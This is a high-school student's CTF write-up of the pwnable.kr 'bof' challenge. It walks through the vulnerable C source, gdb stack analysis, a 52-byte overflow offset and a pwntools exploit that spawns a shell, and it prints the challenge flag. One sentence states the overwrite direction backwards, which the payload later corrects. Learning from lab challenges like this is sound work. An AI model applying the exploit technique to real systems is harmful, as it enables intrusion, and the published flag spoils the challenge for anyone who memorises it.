pwnable.kr - bof

ctf 07-04-2024

Welcome to my first CTF writeup. I’ve decided to do this on a recent challenge I solved, bof on pwnable.kr. In case you are not aware, CTFs, or Capture The Flag, is a type of competition in the cybersecurity world. It is very fun and can allow you to be exposed to a variety of topics, from reverse engineering to web security.

Without further ado, let’s analyze the C file that we get from the chall. Notice what the func function does:

void func(int key) {
    char overflowme[32];
    printf("overflow me : ");
    gets(overflowme);       // smash me!
    if (key == 0xcafebabe) {
        system("/bin/sh");
    }
    else {
        printf("Nah..\n");
    }
}

At the if statement, we see that key == 0xcafebabe compares a key that is passed into the function with a preset password, 0xcafebabe. When examining the calling statement:

int main(int argc, char* argv[]) {
    func(0xdeadbeef);
    return 0;
}

We see that it is called from the main function, with a value of 0xdeadbeef. Thus, we need to find a way to alter the 0xcafebabe stored in memory into 0xdeadbeef. Notice that the gets function doesn’t check for buffer overflow when it reads into the overflowme buffer, which is coded to be 32 bytes. Thus (if it wasn’t obvious by the name already), we can try to design a input that will overflow and alter 0xcafebabe into 0xdeadbeef.

To examine how we can do this, open up the executable in gdb. The disassembly for func:

(gdb) disass func
Dump of assembler code for function func:
   0x0000062c <+0>:     push   ebp
   0x0000062d <+1>:     mov    ebp,esp
   0x0000062f <+3>:     sub    esp,0x48
   0x00000632 <+6>:     mov    eax,gs:0x14
   0x00000638 <+12>:    mov    DWORD PTR [ebp-0xc],eax
   0x0000063b <+15>:    xor    eax,eax
   0x0000063d <+17>:    mov    DWORD PTR [esp],0x78c
   0x00000644 <+24>:    call   0x645 <func+25>
   0x00000649 <+29>:    lea    eax,[ebp-0x2c]
   0x0000064c <+32>:    mov    DWORD PTR [esp],eax
   0x0000064f <+35>:    call   0x650 <func+36>
   0x00000654 <+40>:    cmp    DWORD PTR [ebp+0x8],0xcafebabe
   0x0000065b <+47>:    jne    0x66b <func+63>
   0x0000065d <+49>:    mov    DWORD PTR [esp],0x79b
   0x00000664 <+56>:    call   0x665 <func+57>
   0x00000669 <+61>:    jmp    0x677 <func+75>
   0x0000066b <+63>:    mov    DWORD PTR [esp],0x7a3
   0x00000672 <+70>:    call   0x673 <func+71>
   0x00000677 <+75>:    mov    eax,DWORD PTR [ebp-0xc]
   0x0000067a <+78>:    xor    eax,DWORD PTR gs:0x14
   0x00000681 <+85>:    je     0x688 <func+92>
   0x00000683 <+87>:    call   0x684 <func+88>
   0x00000688 <+92>:    leave
   0x00000689 <+93>:    ret
End of assembler dump.

Let’s set a breakpoint at 0x00000654, or the line with the cmp operation on 0xcafebabe. Then, we can examine the stack and figure out the correct offset for a buffer overflow:

(gdb) break *0x00000654
Breakpoint 2 at 0x00000654
(gdb) c
Continuing.
overflow me : 
AAA

Breakpoint 2, 0x00000654 in func ()
(gdb) x/50wx $esp
0xffffcf40:     0xffffcf5c      0x00000001      0xf7ffda30      0x0000001c
0xffffcf50:     0xffffffff      0xf7fca67c      0xf7ffd5e8      0x00414141
0xffffcf60:     0xf7ffcff4      0x0000000c      0x00000000      0x00000000
0xffffcf70:     0x00000000      0x00000000      0x00000013      0x860e8400
0xffffcf80:     0xf7c216ac      0xf7fd9d41      0xffffcfa8      0x5655569f
0xffffcf90:     0xdeadbeef      0xf7fc25d8      0xf7fc2ac0      0x00000001
0xffffcfa0:     0x00000001      0x00000000      0x00000000      0xf7c237c5
0xffffcfb0:     0x00000001      0xffffd064      0xffffd06c      0xffffcfd0
0xffffcfc0:     0xf7e1dff4      0x5655568a      0x00000001      0xffffd064
0xffffcfd0:     0xf7e1dff4      0x565556b0      0xf7ffcba0      0x00000000
0xffffcfe0:     0x412078ce      0x3ad012de      0x00000000      0x00000000
0xffffcff0:     0x00000000      0xf7ffcba0      0x00000000      0x860e8400
0xffffd000:     0xf7ffda30      0xf7c23756

Our AAA input starts at 0xffffcf5c, and 0xdeadbeef is at 0xffffcf90. This is an offset of 52 bytes, which means we need to input 52 bytes and then overwrite it with 0xcafebabe. Thus, our payload is:

payload = 'A' * 52 + "\xbe\xba\xfe\xca"

Using pwntools, we end up with our final exploit:

from pwn import *

payload = 'A' * 52 + "\xbe\xba\xfe\xca"
conn = remote("pwnable.kr", 9000)
conn.send(payload)
conn.interactive()

This serves up a shell, with which we can run cat flag to get our flag.

Flag: daddy, I just pwned a buFFer :)

Author's photo

Lin Jiang

I’m a high school student that's passionate about computer science. Join me in having fun through recreational programming!

See other articles: